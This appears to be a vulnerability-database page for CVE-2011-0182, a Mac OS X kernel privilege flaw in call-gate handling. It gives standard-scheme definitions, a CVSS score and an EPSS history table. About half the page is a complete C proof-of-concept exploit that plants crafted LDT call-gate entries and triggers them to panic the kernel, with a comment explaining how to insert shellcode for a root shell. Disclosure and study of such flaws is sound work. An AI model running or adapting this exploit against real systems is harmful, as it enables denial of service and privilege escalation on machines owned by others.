CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The i386_set_ldt system call in the kernel in Apple Mac OS X before 10.6.7 does not properly handle call gates, which allows local users to gain privileges via vectors involving the creation of a call gate entry.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.33%
2025-03-30
–
–
–
–
0.33%
2025-03-30
–
–
–
–
0.33,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2011-09-27 22h00 +00:00 Author : hkpco EDB Verified : No
/*
Mac OS X < 10.6.7 Kernel Panic Exploit
CVE-2011-0182, Proof Of Concept Code
Author - Chanam Park (hkpco)
Date - 2011. 06
Contact - chanam.park@hkpco.kr , http://hkpco.kr , @hkpco
Thanks for inspiration / x82, riaf.
*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void dummy_func( void ) { asm volatile( ".byte 0xff" ); }
int main( void )
{
int ret;
union ldt_entry cgate, cgate2;
char dummy[128] = {0x00,};
cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff;
cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff;
// You can input shellcode address value here to get the root shell.
/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
The normal system has a little different environment.
I have no time for this anymore because of my summer break is over.
So.. Good Luck! */
cgate.call_gate.argcnt = 0;
cgate.call_gate.type = 0xc; // DESC_CALL_GATE
cgate.call_gate.dpl = 3;
cgate.call_gate.present = 1;
cgate.call_gate.seg.rpl = 0;
cgate.call_gate.seg.ti = 0;
cgate.call_gate.seg.index = 16;
cgate2.call_gate.offset00 = 0x0;
cgate2.call_gate.seg.rpl = 0;
cgate2.call_gate.seg.ti = 0;
cgate2.call_gate.seg.index = 0;
cgate2.call_gate.argcnt = 0;
cgate2.call_gate.type = 0;
cgate2.call_gate.dpl = 0;
cgate2.call_gate.present = 1;
cgate2.call_gate.offset16 = 0x0;
printf( "// coded by Chanam Park (hkpco)\n\n" );
ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
printf( "Selector Number in LDT <1>: 0x%x\n", ret );
ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );
printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
printf( "The program will be continued when you input any value.\n" );
printf( "-> " );
fflush(stdout);
scanf( "%s", dummy );
asm volatile( "lcall $0x3f, $0x0" );
// Trigger
return 0;
}